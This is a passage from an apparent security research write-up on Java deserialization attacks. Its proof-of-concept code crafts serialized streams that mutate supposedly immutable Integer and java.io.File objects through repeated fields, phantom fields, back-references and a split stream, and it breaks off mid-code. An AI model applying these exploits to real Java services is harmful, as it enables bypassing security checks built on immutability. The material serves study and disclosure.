CLASS="bl"> util.Repeat;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> App2 </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Object[] _DATA = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="bl">STREAM_MAGIC, STREAM_VERSION, </SPAN><SPAN CLASS="cm">// stream headers</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="bl">TC_OBJECT,</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">Integer.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1360826667806852920L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 10000, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">Repeat.me(10000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'I'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"value"</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="st">"pkg.None"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1337L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2,</SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"notimportant"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Object;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">TC_NULL,</SPAN><br /><SPAN CLASS="nb">033</SPAN> <br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="cm">// start value data</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">TC_OBJECT, </SPAN><SPAN CLASS="cm">// embedded object, the value of pkg.None.notimportant phantom field</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">Ref2.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// name</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// flags</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"i"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Integer;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="cm">// super</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="bl">TC_NULL,</SPAN><br /><SPAN CLASS="nb">045</SPAN> <br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="cm">// start value data for XRef</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">TC_REFERENCE, baseWireHandle + 3, </SPAN><SPAN CLASS="cm">// ref to the 4th object in the stream</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="cm">// start integer data</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="bl">Repeat.me(2000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="bl">1</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl">Repeat.me(2000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">054</SPAN> <SPAN CLASS="bl">2</SPAN><br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="bl">Repeat.me(2000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">057</SPAN> <SPAN CLASS="bl">3</SPAN><br /><SPAN CLASS="nb">058</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">059</SPAN> <SPAN CLASS="bl">Repeat.me(2000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">060</SPAN> <SPAN CLASS="bl">4</SPAN><br /><SPAN CLASS="nb">061</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">062</SPAN> <SPAN CLASS="bl">Repeat.me(2000, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">063</SPAN> <SPAN CLASS="bl">5</SPAN><br /><SPAN CLASS="nb">064</SPAN> <SPAN CLASS="bl">}),</SPAN><br /><SPAN CLASS="nb">065</SPAN> <SPAN CLASS="bl">};</SPAN><br /><SPAN CLASS="nb">066</SPAN> <br /><SPAN CLASS="nb">067</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">068</SPAN> <SPAN CLASS="bl">Converter.convert(_DATA).readObject();</SPAN><br /><SPAN CLASS="nb">069</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">070</SPAN> <br /><SPAN CLASS="nb">071</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser5;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.Serializable;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Ref2 </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Serializable {</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 1L;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Integer i;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject (ObjectInputStream s) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="bl"> s.defaultReadObject ();</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Thread() {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> run() {</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (i.intValue() < 5) {</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl"> System.out.println(</SPAN><SPAN CLASS="st">"::"</SPAN><SPAN CLASS="bl"> + i);</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl"> }</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"::"</SPAN><SPAN CLASS="bl"> + i);</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl"> }</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl"> }.start();</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">Thread.sleep(50);</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (InterruptedException e) {</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">e.printStackTrace();</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values: 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer.<br /><br /><span style="font-weight:bold;">4) java.io.File</span><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser6;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.EOFException;</SPAN><br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.File;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.NotActiveException;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.OptionalDataException;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.StreamCorruptedException;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.Converter;</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.EvilSplitStream;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> App </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Object[] _DATA = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">STREAM_MAGIC, STREAM_VERSION, </SPAN><SPAN CLASS="cm">// stream headers</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">TC_OBJECT,</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl">File.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(),</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 301077366599181567L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 3, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">)</SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"path"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/String;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">)</SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"phantom"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Object;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">TC_NULL, </SPAN><SPAN CLASS="cm">// no superclass</SPAN><br /><SPAN CLASS="nb">028</SPAN> <br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="cm">// start value data for File</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">TC_STRING, </SPAN><SPAN CLASS="st">"/"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// path</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="bl">TC_OBJECT, </SPAN><SPAN CLASS="cm">// phantom (phantom field)</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">XRef.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(),</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">)1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">)</SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"bb"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/Object;"</SPAN><SPAN CLASS="bl">,</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="bl">TC_NULL, </SPAN><SPAN CLASS="cm">// no superclass</SPAN><br /><SPAN CLASS="nb">040</SPAN> <br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="cm">// start value data for XRef</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">TC_REFERENCE, baseWireHandle + 3,</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">TC_BLOCKDATA, (</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, (</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'\\'</SPAN><SPAN CLASS="bl">, TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="bl">};</SPAN><br /><SPAN CLASS="nb">045</SPAN> <br /><SPAN CLASS="nb">046</SPAN> <br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> File INSTANCE = </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN CLASS="bl"> keepWaiting = true;</SPAN><br /><SPAN CLASS="nb">050</SPAN> <br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> EvilSplitStream is = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> EvilSplitStream(Converter.getStream(_DATA));</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> ObjectInputStream ois = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ObjectInputStream(is);</SPAN><br /><SPAN CLASS="nb">054</SPAN> <br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Thread() {</SPAN><br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> run() {</SPAN><br /><SPAN CLASS="nb">057</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (true) {</SPAN><br /><SPAN CLASS="nb">058</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">059</SPAN> <SPAN CLASS="bl">ois.defaultReadObject();</SPAN><br /><SPAN CLASS="nb">060</SPAN> <SPAN CLASS="bl"> System.out.println(</SPAN><SPAN CLASS="st">":INSTANCE("</SPAN><SPAN CLASS="bl"> + System.identityHashCode(App.INSTANCE) + </SPAN><SPAN CLASS="st">") value = "</SPAN><SPAN CLASS="bl"> + App.INSTANCE.getPath());</SPAN><br /><SPAN CLASS="nb">061</SPAN> <SPAN CLASS="kw">break</SPAN><SPAN CLASS="bl">; </SPAN><SPAN CLASS="cm">// done, bail</SPAN><br /><SPAN CLASS="nb">062</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IOException e) {</SPAN><br /><SPAN CLASS="nb">063</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (ClassNotFoundException e) {</SPAN><br /><SPAN CLASS="nb">064</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">065</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">066</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">067</SPAN> <SPAN CLASS="bl">}.start();</SPAN><br /><SPAN CLASS="nb">068</SPAN> <br /><SPAN CLASS="nb">069</SPAN> <SPAN CLASS="bl">is.mark(50000);</SPAN><br /><SPAN CLASS="nb">070</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (true) {</SPAN><br /><SPAN CLASS="nb">071</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">072</SPAN> <SPAN CLASS="bl">ois.readObject();</SPAN><br /><SPAN CLASS="nb">073</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (NotActiveException nae) {</SPAN><br /><SPAN CLASS="nb">074</SPAN> <SPAN CLASS="bl">App.keepWaiting = false;</SPAN><br /><SPAN CLASS="nb">075</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"NAE. OK. Bailing."</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">076</SPAN> <SPAN CLASS="kw">break</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">077</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (IllegalArgumentException iae) {</SPAN><br /><SPAN CLASS="nb">078</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">079</SPAN> <SPAN CLASS="bl">is.reset();</SPAN><br /><SPAN CLASS="nb">080</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">081</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">082</SPAN> <br /><SPAN CLASS="nb">083</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser6;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ByteArrayOutputStream;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.File;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.PrintStream;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.Serializable;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> XRef </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Serializable {</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 1L;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> File bb;</SPAN><br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject (ObjectInputStream s) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl"> s.defaultReadObject();</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl"> ByteArrayOutputStream baos = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ByteArrayOutputStream();</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl"> PrintStream ps = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> PrintStream(baos);</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Exception().printStackTrace(ps);</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl"> String stack = baos.toString();</SPAN><br /><SPAN 